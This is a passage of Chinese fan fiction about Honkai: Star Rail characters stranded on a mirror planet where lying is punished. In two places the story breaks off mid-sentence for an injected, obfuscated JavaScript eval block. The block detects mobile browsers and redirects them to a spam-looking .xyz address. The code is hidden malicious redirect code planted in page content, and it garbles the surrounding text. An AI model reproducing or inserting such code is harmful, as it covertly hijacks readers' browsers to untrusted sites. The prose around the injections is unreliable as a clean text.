旅馆的老板一边微笑一边高举双手,嘴里喊着“教主大人千秋万载,教主大人举世无双!”什么的可不恐怖吗,给没见过世面的有初四来了个小小的宗教信仰震撼。 初来乍到的智库管理员靠谱地整理好信息后,几人就各自回房间睡去了,半夜时有初四睁开眼,他有些睡不着,下楼时发现旅馆里一片漆黑,但是有团黑影静静地站在柜台后。 “……”似乎是听到了脚步声,那团黑影动了,他点亮了烛灯,火光映在那张脸上,是还一脸微笑的老板。 这种场景还在格式化微笑更恐怖了…… 有初四深吸一口气,询问道:“还不睡吗?” “啊,这个啊。”老板脸上的微笑突然就带了点扭曲,“我们这里是全天营业的亲,虽然开着门但是以防有人想过来就关灯了呢,趁这种时候稍微站着补个觉,如果入住的客人们在深夜也能安安分分不到处乱跑给我增加工作量就更好了亲。” 好,好重的怨气! 对工作的怨念仿佛一团浓墨在旅馆中升起,老板咬着牙微笑说出来的一字一句都一股脑砸到有初四头上,明晃晃地表示为什么他非得在这种时候还要打扰他的休息时间。 而且……开着门? 有初四探出头,门的位置只留了一条缝隙,微弱的光亮透过缝隙撒在地上,你管这叫开门? 老板:如开。 微笑着的老板歪着头:“客人?” 语气里带着五分疲倦两分不满,还有三分如果有初四再打扰他就鱼死网破的决意。 黑气骤然放大,无意间深夜扰老板的有初四毫不犹豫回了房间,感觉出了一身的冷汗。 这老板气势过于强了,绝非常人! 然而等第二天醒来他们发现,老板仿佛变了一个人。 “说什么呢,我超喜欢工作的。”在试图询问昨晚的事情时得到了这样的回答,和昨晚上怨气重得要压死人却还笑着回答他的老板判若两人,白天这位老板脸上的笑容是不加掩饰的真正的喜爱,一举一动都透露出他对工作的期待与热爱。 惊,一夜之间竟把男鬼社畜爆改成阳光开朗的卷王,究竟是人性的扭曲还是道德的沦丧? 起码有初四是真的被惊到了,他感觉眼前的老板和昨天的不是同一个人,又隐约觉得是。 如是。 法塔莫日甘昨天白日是天气晴朗,晚上却刺骨寒冷,等三人一觉起来就发现下雨了,当他们下楼时又放晴了,空气中还弥漫着潮湿的味道。 巧的是在他们踏出门没走几步的时候,倾盆大雨瞬间落下,成功把三人浇湿透了。 “……”等几个落汤鸡返回旅馆时,雨又停了。 有初四抹了把脸,掏木签看了看,确实是下下签而不是中下签啊。 在窗户前发呆的老板见他们又回来了,立刻躲到柜台后面躲起来,只露出半个脑袋一双眼睛警惕地盯着他们。 “这……”一切都太过诡异让三月七不知道该说什么了,他们见到老板这短短的时间里他就换了三种态度,一开始是温和再见时是热情,现在又是躲藏又是警惕的。 “长得人山人海……”丹恒看向有初四,“其实是指多个人吗?” “多个人是……什么意思,难道说?!” 结合老板的态度变化,三月七觉得自己明白了什么。 有初四歪头仔细看了看:“唔,就像是好几个人被揉成一团,硬生生地变成了一个人一样。” 这种说法未免有点少儿不宜,但在场的有一个算一个年龄成迷。水滴在地面上浸湿了木制的板子,随着几人的走动一路向上,躲在柜台后的老板面不改色地走了出来,继续回到窗前发呆。 有初四他们回房间换套衣服的功夫,天又放晴了,这脸变得也没有这么快的。 他们在屋里等了好一会儿,丹恒还在这段时间拿起了桌子上的一本书观看,有初四好奇凑过去,上面密密麻麻的文字根本就不认识。 果不其然晴朗的天说变就变,有初四看着面前的雨幕,总觉得这不是什么正常的天气现象。 这样来回几次,天空又出现了太阳,那股挥之不去的潮湿终于消失了,散出了和昨日一样的微风。 如此变化,丹恒喃喃道:“像是换人了。” 不论是天气还是法塔莫日甘的人,改变都太过突然,一瞬间的切换更像是被其他人给顶上去了。 正说着,突然一阵喧哗,几位衣着华丽的人带着士兵走了过来。 “就是他们?”为首的人在看到士兵点头后,便抬起下巴朝三人示意,“通缉犯尼斯的同伙,跟我们走一趟吧,看在教主的份上,只要你们肯说出那个通缉犯的藏身地点,还能留你们一条命。” 士兵抬起了手中的长枪,人群渐渐散去,身后也被早已抵达的士兵们给围了起来。 三月七:“这是不是有什么误会,昨天不是才问过吗……我们只是和他说了几句话而已,而且我们才刚来,这么会是同伙!” “哼,到牢房里去忏悔吧!” 有初四:“他们看起来不像是要听我们说话的意思。” 无缘无故被扣上同伙帽子的三人互相对视,深知这架势是不可能好好交谈的了。 丹恒当机立断:“凭城借一!” 三月七:“居然是直接数到一吗?!” 有初四:“这是什么,暗号吗?你们排挤我!” 已经攻上来的士兵没有给他们闲聊的机会,招招朝要害攻过来,比起要带走他们更像是要把他们就地格杀。 丹恒仰头躲过扫过来的武器,拉着还在状况外只是下意识拿出签的有初四拔腿就跑,三月七几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513969|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个侧身闪避,然后搭弓,极寒的箭矢! 但预想中的冻住对方手臂的情况没有出现,士兵们只是拍了拍身上的冰渣,然后再次举起武器朝他们冲过来。 而有初四扔出去的签也是不轻不重地落到人身上,像是落叶一样被不在意地拂开了。 有初四:“怎么回事?!” 刚用击云进行击退但效果甚微的丹恒也皱眉:“攻击不起作用。” 到底是这些士兵特殊还是出了什么问题? 尖枪已经到眼前,现在无暇顾及到底是什么原因了,“现在怎么办?”三人背对背地靠在一起,观察着有没有突破口。 “只能使出这一招了。”有初四面色凝重的说。 三月七、丹恒:? 他深吸一口气,突然指着天上大喊:“是教主!” “……”这种老套的方式怎么可能管用啊! “什么什么?!” “教主?教主在哪呢?!” “我的天教主啊,您终于肯出来了!” 看着一群人在天上张望,有初四朝两人比了个wink悄声说:“快跑!” 三月七、丹恒:居然真的有用啊…… 有初四还有空回头看了一眼,按理说这群人是对教主报以尊敬之心的,但是刚刚他说教主出现了的时候,那一瞬间的急切和怨恨是做不得假的,不像是见到了许久未见的领导者,然而像是见到了迟迟不肯露面的仇人。 但现在显然不是说话的好时候,逃跑才是头等大事! 三人拔腿就跑,看了个寂寞的士兵们也纷纷反应过来自己是被耍了,顿时抄起武器怒气冲冲地追上去。 逃跑之路并不顺利,三人初来乍到,对法塔莫日甘的熟悉远不及在此生活的士兵们,就算是有心想甩掉也做不到。 “追的人变少了。”三月七往后看了一眼。 丹恒一枪挡住扔过来的箱子,“应该是准备包抄了。” 刚刚有初四的行为好像是激怒了他们,现在只要是路过的东西能抄的起来的就砸过来,有初四一个矮身,一柄枪从头顶飞了过去。 气地连武器都扔过来了。 这时,一个熟悉的声音响起。 “嘿嘿,这里!”尼斯从一个角落里偷偷摸摸探出头来,对着逃跑中的三人招招手。 “是你!” 这个让他们被追的罪魁祸首看见引起他们注意后,做了一个跟我来的手势就没入了角落的黑暗。 “怎么办,要不要过去啊?”三月七看了眼已经有点气喘吁吁的有初四。 “呼,呼——之前被点破说谎的时候,虽,虽然有点杀意,但刚刚,没感觉到恶意。” “你还有这能力!而且,而且还有杀意,那不是更糟糕了吗?!”三月七也开始大喘气了。 “是……”有初四肉眼可见的体力不行,这会儿已经快撑不住了,但是突然一支楞,气也不喘了,他抬头挺胸:“是新的金手指!” “居然在这种时候耍宝——所以新的金手指是情绪捕捉器吗?” “你不也是吗!” 丹恒已经看到了前方堵着他们的士兵,把击云收起来一手拉一个,带着有初四和三月七跑进了尼斯所在的那个角落,喘了口大气的有初四还没完全缓过来,才说了一句“等等,我感觉不太对劲——”感官就陷入一瞬间的黑暗,便消失不见。 只剩追过来的士兵看着角落尽头那堵封死路的墙一脸迷茫。 _ “这边走。”脱去特意装出来的那副沧桑样子的面皮,尼斯的言行意外的是不符合那张脸的年轻,走路还轻快得差点跳起来,“牵连到你们是个意外啦,你们一看就是外来者,说不定会是我们成功的关键。” 丹恒:“成功?” 有初四依旧不说话,丹恒跟在尼斯后面,他就走在三月七身后,默默地用水蓝色的眼睛望着他。 “哎呀等到地方了我再和你们细说。” 越往里走,空间就显得越大,天花板上一闪一闪的,仔细看去是如地板一样嵌着细细碎碎的镜片,却如满天星辰。 三月七忍不住掏出手机来对着天花板拍了一张照片。 “话说刚刚怎么回事?攻击完全不起作用的,是什么高科技,还是能力降低器之类的!”三月七回头和有初四讲悄悄话,走在两人前面的丹恒头也不会回地说:“不,武器和人都没什么奇怪的地方,或许是这颗星球上有什么抑制了我们的能力,但,还有一种可能。” “还记得,我们在列车上被石头攻击的事吗?” “……”两人同时望向有初四,有初四猛地回过神来,掏出那支下下签,三人一同陷入了沉默。 原来下下签,还有这种负面效果啊…… 有初四重新把签塞了回去,然后抬头,正好对上了尼斯偷偷看过来的眼睛,眼神一厉。 “!”尼斯被吓得一个激灵,立即转头专心带路。 丹恒的眼神若有所思地往后瞥,似乎从被尼斯搭话开始初四的话就少了很多,一直在警惕地盯着尼斯看,这应该是初四的习惯,对陌生人的态度,在列车上最开始相见的时候他就对自己和三月七有所收敛,直到相处几天后才完全显露出自己的本性。 想到有初四一直不敢下车的原因,丹恒思索,可能和他的记忆有关?比如,外面的人是危险的。 而且尼斯,好像有点怕初四? 丹恒在想什么有初四并不知道,他只是依旧凝视着带路的尼斯,压力骤增的带路人瞬间加快了脚步。 被盯得冒出一身冷汗的尼斯以极高的效率把三人带到了目的地。 打开门,里面是一个偌大的房间,正中央摆放着一台圆桌,凳子整齐地摆放,在正对门靠墙的地方还放了一面从中间碎裂的等身镜子。 “好空旷的房间……”三月七喃喃道。 确实很空旷,除了那面镜子和中间摆放的桌椅外,什么都没有,没有装饰物也没有用来消遣的物品,硬要说装饰物,就是地板上依旧不变的闪光碎镜子了,这东西几乎覆盖整个星球,有初四就没见过哪里没有这种碎镜子地板的。 房间里的圆桌正围着坐了四个人。 “欢迎来到反抗者联盟!”看见同伴的尼斯迅速放松了下来,他领着三人走了进去,随着靠近,丹恒发现坐着的四人都一脸的凝重。 “我来介绍一下。”尼斯兴致勃勃,“这是市一,这是宫尔,这是菊伞,这是任思!” 四人朝他们点头,并不说话。 丹恒不着痕迹地往他们脚底下看了一眼,地面上的碎片中依然空无一物,就好像在镜子的眼中他们根本就不存在一样……他视线一转去看正在和他们说话的尼斯脚底,奇怪的是,和他们第一次见面的尼斯是能被镜子照出来的,而现在这个,镜子里没有他。 “虽然我是外来者,但是他们可是本地人,只要说谎就会被脚下镜子里的镜兵抓走,所以完全可以信任他们!”尼斯不知道为什么变得异常兴奋,一个人开始滔滔不绝地讲述他们之间的故事,如何相遇如何结识,再到怎么志同道合决定为同一个目标而奋斗。 正坐着的四人递给他们一个眼神,三月七挠挠头,没弄明白那是什么意思,丹恒叹了一口气,打断尼斯的回忆。 “还是先说说你们的目的吧。” “我接下来正要说呢。”尼斯撇嘴,嘟囔着现在的年轻人真没耐心之类的话,才道:“我们一直以来都有一个梦想。” 他面色坚毅:“那就是拯救世界!” “嗯……很伟大的梦想,那你想怎么拯救呢?”三月七提问。 “这就不得不提到半个闪烁历前的那件事了……” “那时我还年少,因为调皮意外进入了镜中的世界,还因为要躲避镜兵在里面迷路了好长一段时间,终于,我找到了出口,但那并不是我想要回去的地方,而是,谎言的世界。” 与真话相反,那里处处都充斥着谎言,人们不会说真话也不能说,就像我们这边说谎会被抓走,那边是说了真话就会被镜兵带走并处死。 “我害怕极了,小心翼翼地靠着墙壁行走,尽量不引起注意,还好我是外来者,谎言和不能说谎的规矩管不到我,然后我就听到了一场对话。” 似乎是有人在和他的家人讲述另一个世界的故事,并表示他已经上报给教主,也就是反面世界的掌权者,既然一切都是反的,那教主也变得凶狠残暴也变得理所应当起来。 “我听到他们说,教主正在研究镜子的秘密,一旦成功,将是正世界沦陷的时刻,反面世界即将攻打正面世界,这太令我震惊了,震惊到对话什么时候结束了,周围突然变得静悄悄的都不知道。” 惊慌未定的尼斯正准备悄悄离开,一转头骤然看见一张脸就贴在面前! “‘你,不是这里的人吧?’他这么对我说。” 扭曲的笑意在那张脸上浮现,对本就觉得自己知晓了惊天秘密从而发抖的尼斯来说,不亚于夜晚一个人看恐怖片还不盖被子。 “那时的我身手好的很!就算是在极度恐惧的情况下也敏捷地躲过了朝我抓来的手,然后沿着巷子一直跑,尽头除了堵死的墙,还有一面等身高的镜子。” 慌乱之下的尼斯再次撞入了镜子,回到了那个让他痛苦不堪的迷宫。 “至少比被抓住要好,也没什么会比现在更糟糕的了,那时的我是这么说的,但事实证明,人不要放松得太早。” 就当尼斯以为逃过了反面世界追逐的时候,一只手,从镜子里伸了出来。 ‘你以为我是怎么发现有另一个世界的?’他挣扎着从镜子里爬出来,带着得意的笑容。 ‘当然是因为,我也能进来啊。’ 被吓到发抖的尼斯绝望地想——更糟的这不就来了吗。 3. 也不是很硬啊 庞大的镜子迷宫从高处一眼望过去都看不见尽头,光是站在入口都已经眼花缭乱了,由镜子拼接而成的迷宫映出无数个身影。 尼斯为了躲避追过来的人一头扎了进去,镜子不光是尼斯的阻碍,也同样是另一个人的,万幸尼斯的运气比他要好,竟然慢慢摸索到了出口。 “他总是不长记性。” 在看到出口放松的那一刻,一只手臂横过来,抓住了他的肩膀。 “也许是那天运气真的非常好,我在挣扎的时候他不小心被绊倒了。” 于是尼斯奋力朝那面进来的镜子跑去,但那个人非常执着,爬起来又开始追。 ‘大哥你不觉得我们的距离太暧昧了吗?!’尼斯都快哭了,手先碰到了镜面上,然后人就被吸进去了。 刚被吐出来的时候,尼斯还惊魂未定,坐在地上呆呆地看着镜子,心想总算是逃离了。 但下一秒。 咔嚓—— 镜子从中间裂开,一只手握拳砸开了镜面。 尼斯:……大哥你真的,为了追我你做到这种程度吗。 最后那只手又缩了回去,但尼斯被这起起落落的一天吓得好几天不敢放松,生怕那位大哥又从哪里冒出来搭着他肩膀说‘我找到你了’。 “原来这就是镜子从中间碎开的原因啊……”三月七有点欲言又止,尼斯这段镜子之旅也太过曲折了,三番四次都在放松的时候出现意外。 “镜子也因为那一拳进不去了,我想把这件事告诉教主,但教主已经很久不见人了,我只能向那群贵族求助。”尼斯咬牙切齿,“可他们都是吃干饭的!二话没说就让士兵把我抓起来,说我传播谣言蛊惑人心,还好我跑得快,然后我就成了通缉犯。” 他眼神坚定地望着丹恒,“拯救世界,这就是我们的目的。” “……我明白了,我还有一件事想问,你之前有见过外来者吗?在我们之前。” “你们就是为这个而来的吧?”他像是卡顿了一下,才说:“我倒是有见过,但他们去了哪就不知道了,有传言说他们被镜兵抓走了。” 三月七震惊:“被镜兵抓走了!可他们不是外来者吗?还是说他们也是在不知不觉中改变了身份。” 尼斯:“这取决于适应性,适应性越高越能融入这里,那成为这里的人时间就越短,适应性低的话,可能就一辈子都融入不了。”他笑了一下:“比如我,我在这里待了一个闪烁历了。” 有初四:“好强烈的故事感。” 话音刚落,他就感觉自己的脚上突然有股冷气渗入,低头一看,几双从地板镜子碎片里伸出来的细小透明的手扒在他鞋子上,差点触及到脚腕。 见他看过来,那几双手还抬起来跟他打了个招呼,然后猛然发力。 “!” 有初四还没来得及出声,就被拖进了镜子里。 目睹那么大一个同伴消失在眼前的三月七大喊:“小四!” 还在和尼斯交谈的丹恒立刻转头,只见三月七指着地板里的碎片说:“小四他刚刚,被拖进去了!” 尼斯摸摸下巴:“被镜兵带走了吧,我还是头一回见这么快就适应了法塔莫日甘的人,都不到半天。” “你这幅样子可一点不觉得意外啊。”丹恒还是那副处变不惊的表情,似乎一个同伴的消失并不能对他造成什么影响,但语气里的冷意已经快把尼斯给扎死了。 “别紧张别紧张,我没有恶意的。”尼斯快速摆手,“而且我确实是觉得意外,你这位同伴恐怕很特殊,镜兵不会把他送去牢里的,最多就是收藏起来。” 三月七:“那听起来不是更糟糕了吗!” “无害的那种啦,镜兵没什么攻击性的。”尼斯耸耸肩,表示他在法塔莫日甘居住了这么久,还从没听说过镜兵会伤到人。 “没有伤过,不代表不会。”丹恒快被气笑了,“这颗星球有难处,无名客自然会出手,但是用这种手段,也太卑鄙了。” 尼斯大呼冤枉:“我只是对镜兵比较了解而已,他被拉进去可不是我干的!镜兵的行动逻辑只有一种,那就是有人说谎然后抓走!” “总之,你们的条件是什么?”故意说出自己很了解镜兵,不就是为了引他们上钩吗? “我请求,请求你们。”尼斯的表情突然黯淡下来,带着一股难以言喻的悲伤,“救救我们,救救法塔莫日甘,我会尽量帮助你们找到你们的同伴的,所以——” “无名客不会袖手旁观。”黑发的青年淡淡道,眼角单边的红色眼影在他转身的那一刻似乎划出了锋利的痕迹,“但不能是尽量,而是一定。” 在两人踏出房门的那一刹那,丹恒听到了什么东西碎裂的声音。 _ 【++压力】 “所以,你们就是镜兵?”有初四低头看着地下,表情一言难尽。 透明宝石质感的小兔子们蹦了几下算作回应,看着他们的身体和地板碰撞有初四都开始心惊了。和身体的坚硬不同,是胶状用来抓人的手已经被他们收了回去,只剩下一堆的小兔子呆呆地坐在地上仰望着他。 兔子们的脸上还被画了不同的表情,哭的笑的愤怒的平静的,而且作画的人思维比较抽象,居然在兔子脸上画写实,一眼看过去都是兔子顶着素描人脸,略微惊悚。 小东西力气很大,只消一拽就能把他整个人拽进来。 “这里到底是……”灰蒙蒙的四周漂浮着一块块碎裂的墙壁,脚下踩着的地板意外的不是砌进镜子碎片的,兔子们歪歪脑袋,因为和同伴们靠的太近发出了清脆的碰撞声,有初四感觉四周好像变亮了一点。 掏出手机,试着给群里发送消息,消息发送失败。 他深吸一口气,看着面板上的文字从[你心如止水]变成了[你很平静],突然遭受到袭击还是让他有点不安,即使袭击者有着一副可爱模样——不看那张脸还是很可爱的。 “你们为什么要把我抓走?”有初四问出了他目前最疑惑的问题,因为这个场景转换太过突然了,“我说谎了?我怎么不知道。” 他的右手悄悄碰上左手手套的菱形,在裸露的那块皮肤上轻点了两下。 兔子们你看看我我看看你,其中一只脸上画着笑脸的兔子往前跳了几下,前腿在一块地板上敲了两下,一行文字显现在空中。 【不知道,设定是这么写的。】 兔子歪头,我是个只会抓人的小兔子,什么都不知道哦。 有初四扶额,手腕上的铃铛金光一闪而过,兔子们叽里咕噜的交谈声和碰撞声在耳边回响,突然间脑袋像是被什么东西砸了一下,痛的要命。 【++疼痛】 【++疼痛】 【++疼痛】 “呃……” 眼前快速闪过几行数字,不知不觉中泪花在眼中打转,直到脸颊上的濡湿,让他猛然发现自己居然流泪了。 这不太对吧?刚醒来脑袋痛那会儿也没到流泪的地板,怎么现在就——还是说因为那一撞留下了什么后遗症?而且为什么又是脑袋,跟他的脑袋过不去了吗?! 眼泪肆意流出,有初四控制不住地开始哽咽,颤抖着手打开面板。 【疼痛】眼泪从你的脸颊上流下 原来如此,他现在有了一种痛到一定程度就会流泪的设定啊。 有初四平静地接受了这个事实,流泪怎么了?流泪又不影响他活动,还能顺带洗个脸。 见他哭的投入,兔子们的表情有一瞬间都变成了同一个,随后又迅速变回原样,宝石光泽的爪子在地上碰了三下。 【咚——】 有初四忍受不住地捂住了脑袋,被敲得头痛欲裂。 【++疼痛】 【++疲劳】 【++压力】 【++创伤】 【++自控】 …… 【疼痛】疼痛使你大哭不止 【疲劳】你感到疲倦 【压力】你的内心紧绷 【创伤】你感到焦虑 【自控】你感到害怕 一串串的数字不断往上加,面板的状态在迅速变换,有初四还是第一次同时感受到疼痛疲倦压力焦虑和害怕,这些情绪混在一起甚至让他有种空茫的感觉,无法思考,无法呼吸。 “快停下!” 【咚咚咚——】 有初四觉得自己的脑袋要裂开了,不,是已经裂开了吗?不然为什么会感觉到液体流出呢,诶?没有啊,摸着头的手还是干的…… 终于,承受不住脑海多次被敲击的有初四眼睛一闭,晕了过去。 …… …… “欸……也不是很硬嘛。” 【+++++意志】 _ 再次醒过来的时候,有初四第一反应是摸向脑袋——不痛。 头裂开了果然是幻觉吗,还是说已经恢复了? 他拽一下手套,镂空处弹出一个计时器。 “距离我昏迷前只过了三个系统时么……” 如果真的不是幻觉,那他的回复能力是不是进化了? 现在已经完全搞不懂状况了,一开始的莫名被当成通缉犯同伙,再到对他展露过杀意的家伙疯狂对他们示好,然后又无缘无故地被镜兵抓走,被送了感觉不到恶意但是力度却不太想让他活着的一顿敲击,最后在陌生的地方醒来。 有初四并不聪明,也不是很擅长思考的类型,虽然有在和丹恒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513970|170594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学习,但收效甚微。 于是在醒来面对一个镜子迷宫时,有初四从没想过自己能靠过硬的运气——他也没这玩意儿,细胳膊细腿的也没有能直接砸烂整个迷宫让自己通畅无阻的能力。 “也不知道丹恒和三月怎么样了……”还是得快点离开这个鬼地方然后找到他们。 现下最好的办法就是…… 有初四手掌张开拿出一只签,遇事不决先抽一发再说! _ 教主慢悠悠地走进了镜子,他大声呼唤镜兵,想要将抢来的“战利品”丢进笼子里,然后再找个机会把人丢出法塔莫日甘,但“咚咚咚”的声音响起后,他没看见他那威猛高大的镜子士兵,而是长着素描人脸的小兔子。 教主:“……” 他抬头看了眼镜框,确定是这面没错啊,又低头看了这群怪异的宝石兔子。 教主:“?” 当他意识到自己的造物被做了什么手脚后,他一下子脸都红了,表情瞬间从平静变为了愤怒。 “该死的外来者,我要杀了他!” 但这位外来者显然已经意外进入了他所放置的免费牢笼,免费的就是好又不用自己操心,但缺点就是自己想干涉又没办法做些什么。 _ “丹恒,我总觉得哪里怪怪的。” 夜晚的法塔莫日甘因为随处可见的镜子依旧显得亮闪闪的,三月七踩着脚下的地板,身上挂着的相机微微晃动,丹恒的耳朵动了动,好似听到了雷雨声,但似乎很遥远。 视线扫过三月七的相机,他兀的停住,不知道在想些什么。 “对镜子说‘魔镜魔镜告诉我小四在哪里’的话,小四会突然蹦出来吗?哈哈哈。” “当然怪,从一开始就是。”丹恒停下脚步,和三月七面对面,少女脸上还未褪去的笑意和迷茫不似作假。 “什么都映不出的镜子,长得人山人海疑似在偷窥我们的法塔莫日甘人,和他们变换极快的性格。” “什么意思?” “尼斯在谎言被戳破后突然出现的杀意,莫名被打成通缉犯的同伙,还能在被追捕的过程中精准碰上尼斯,他口中的另一个世界。”丹恒的左手背到了身后。 “假如他所说的镜后世界是和这里相反的,也就意味着说真话会被镜兵抓走,那尼斯是怎么确定偷听到的话一定就是真实的?在他被追赶的途中,据他所说刚进入为了躲避镜兵而迷路,那后半段的镜兵又去哪了,为什么又突然出现一座迷宫?还有他不小心说漏嘴的主语,只是说了一句话就被抓走的初四,一切都很可疑。” “那,那怎么办啊!他说能找到小四也是骗人的吗?丹恒你为什么不早说!” 太明显了。 青绿色的粒子显现,击云便被握在手中,枪尖直抵少女白皙的脖颈。 “你把三月和初四藏到哪了?!” 实在是0帧起手,上一秒还在讨论哪里可疑下一秒就被同伴拿着武器对准了脖子,三月七愣住了,随后惊慌解释道:“你在说什么啊丹恒,我就是三月啊!我们一直都在一起,怎么可能会有时间被调包嘛,而且初四你不是知道吗?他被镜兵抓走了啊!” 无需多加言语,丹恒的枪尖又往前送了一些,锋利的兵器化开皮肤,鲜红的血液缓缓滴落。 “三月她,绝不会拿同伴的安危来开玩笑!我再问你一次,你把他们怎么了?!” 三月七眨眨眼,好像脖子上的伤口根本就不存在,依然一脸无辜地说:“可小四的直觉不是很准吗?我要是假的他怎么可能看不出来。” “拙劣的伪装,相机反了。”丹恒油盐不进的,快戳穿了对方脖颈的枪尖表明了态度。 血淌湿了衣领,“三月七”却和没事人一样自顾自地说着话,她钩起相机的绳子,和现实中相反的蓝色小相机因为她的动作开始摇晃:“哎呀,被发现了。” 天地骤然倒转,手里的枪被扭曲,丹恒惊骇之下被摔倒在地,眼前的一切都如镜子般碎裂成镜片,突如其来的疲倦侵入身体,丹恒的眼皮变得沉重。 “留在镜子里不好么?偏要去那破书里,角色已经准备就绪,写故事的人也已经挑选好了,寒冷的气息,真令人熟悉。”飘渺的身影发出笑声,一片片镜子脱落将他覆盖,就剩扶着额头的丹恒被留在原地,和突然出现的一本已经打开的书。 “还有,一上来就把人家戳成重伤真没礼貌,和你的枪过一辈子吧!” …… 有初四忘了,抽签冷却还没过呢。 他悻悻地收回木签,收到一半停顿住,望向了镜子搭建的迷宫,又低头看手里的签。 “好像……可以试试?” 接下来的半个系统时内,碎裂声不绝于耳。 4. 这个游戏到底是谁做的 “您好,请问要喝点什么呢?” 有初四迷茫地看着眼前做售票员打扮的女性,身后是排起长队等待购买的客人,见他愣住开始不耐烦地催促。 “到底买不买啊?不买别挡在前面赶紧走人!” “真是的别耽误我们的时间啊。” “大家都等着呢,你倒是快点啊!” 面前的售票员拿出一份菜单,指着上面的一款奶茶说道:“如果您不知道喝点什么,我们这边推荐——” 后面的话有初四已经听不清楚了,在看清眼前和周围一切的他开始疯狂头脑风暴。 他不过是扔签打碎了几面镜子,然后发现地上不知道什么时候被放了一本书,就这么点功夫又把他干哪来了,这还是法塔莫日甘吗? 好似被烧焦过的列车,站台看着应该是售票处的地方拿出了卖奶茶的单子,人手一杯奶茶陆续走上列车的客人,身后排起望不见尽头的队,每个人都张望着,希望能尽快登上列车。 怎么办,头好痒,好像要长脑子了! 见他长时间不说话也不看菜单,一副神游天外的样子售票员脸上的笑容挂不住了,隐隐渗出黑气,端着菜单的手又往前送了送,却因为有初四一个后仰的躲避动作僵住了。 她的笑容彻底消失了。 “客人?” 有初四决定先观望一下,主动退出了队伍,下一个客人急急忙忙地挤上来,其他的人也是同样的动作,他们看起来真的很着急。 见换人了,售票员小姐一秒换上营业性笑容重新询问:“您好,请问喝点什么呢?” 客人:“给我来一杯[哔——],然后[哔——]。” 售票员:“好的,麻烦[哔——]。”拿出一张卡片,让客人在上面写了什么东西,最后售票员收起卡片放进了箱子里。 客人:“我[哔——][哔——]。” 售票员:“好的,这是您的奶茶,走好哦~” 客人急匆匆地拿上了奶茶,然后朝列车入口处奔去。 在一边旁观了全过程的有初四:“……”天杀的,我要把发明消音的人脖子拧成蝴蝶结。 这不是完全没得到线索吗?最重要的部分都被消音处理了,看来把他送来这里的人是一定要他亲自体验一次。 有初四观察过了,这块地方除了列车根本没有其他出口或入口,也曾试过顺着排成一队的人往下走,可走了一段发现根本没有尽头,他还看见了几个样貌相同的人,就像是构建npc的人偷懒直接复制粘贴塞进不同位置一样。 出去的关键就是那辆列车,想上车就得先买票么…… 有初四决定一试,但看着几乎没有空隙紧挨着的队伍,开始思考该怎么重新排,去队尾是不可能的,他都怀疑根本没有队尾存在,那就只剩下一个办法了。 做了下心里斗争,他主动走到一个靠前的客人身侧,露出一个礼貌性地笑容理直气壮地说道:“你好,插队。” 客人:“?” 身穿职业装的女人缓缓开口:“既然这样的话,来和我决斗吧。” 有初四:“?” 事情的发展变得魔幻了起来,有初四眼一花又变了个场景,灯光闪烁的舞台从中间对半分开,他站在左侧,那位职业装的女子站在右侧。 有初四一脸问号,这又是搞的哪出?而且这是俄罗斯套娃吗一关接一关的。 主持人手持话筒表情激动地大喊:“现在有请我们的挑战者有初四先生!” “哦哦哦哦哦!” “芜湖——!” 聚光灯瞬间照亮了站在左侧的有初四,他听着耳边快要刺穿耳膜的欢呼声和尖叫声,居然连气氛组都有,但…… 看着台下只有声音空无一人的座位,觉得大可不必。 “还有我们的被挑战者,npc小姐!” “哦哦哦哦哦哦!” “芜湖——!” 有初四:“好歹取个正常名字啊!而且气氛组是就只有这一段吗?” 主持人:“看来我们的挑战者还有很多疑问,但这并不重要!一切将由这场胜负来决定!” “那要比什么?” 主持人:“这将有被挑战者决定!” 双臂抱胸的npc小姐淡淡开口:“用外语进行对话,我问你答,不论你用的什么语言回答,只要能答的上来,就算你赢。” “……” 很难想象这些关卡的制作者都是以一种怎样的精神状态设计的。 “我先来。”npc小姐清了清嗓子,“你喜欢吃什么。” “哦哦哦哦哦哦!” npc小姐自信撩头发,然后用眼神示意有初四回答。 有初四木着一张脸:“我喜欢吃宇宙大炒饭。” “哦哦哦哦哦哦!” npc小姐一脸不可置信,甚至卡了一下,然后谨慎地说:“你的爱好是什么?” “ohhhhhh!” npc小姐激动地抱头,似乎在为自己的发音准确而感到兴奋。 有初四觉得已经够了,无论是这场荒谬的比拼还是气氛组,快点结束这一切吧。 “我的爱好是打游戏。” “ohhhhh!” 主持人带头尖叫,激动得话筒都快塞嘴里去了:“胜负已分!让我们恭喜挑战者有初四,获得插队权!!” npc小姐黯然瘫倒在地,低声抽泣,“我学了十种外语啊,就这么输了吗……” 有初四略带怜悯地低头看她。 联觉信标,小子! _ “您好,请问要喝点什么呢?” 再次站到售票员前的有初四已经有了经验,他淡定询问:“有什么推荐的吗?” 看到熟悉的菜单和熟悉的推荐,有初四点头,“就这个了。” 售票员:“什么?” “就,你推荐的这个啊。” “噢——你说的是香香甜甜好喝到[哔——]茶?” “……”什么茶?你就这样说出来不会被锁文吗。 到底是她不对劲还是自己不对劲,有初四已经分不清楚了,但到底是已经有过被精神冲击过的经验了,他点头,“对就是这个。” “什么?” “就是你说的那个,香香甜甜好喝到,那个。” 售票员小姐微笑:“讲出来。” “……”有初四深吸一口气,觉得这没什么觉得好羞耻的,毕竟只是他要离开这的手段而已,应该也没有其他人会听见。 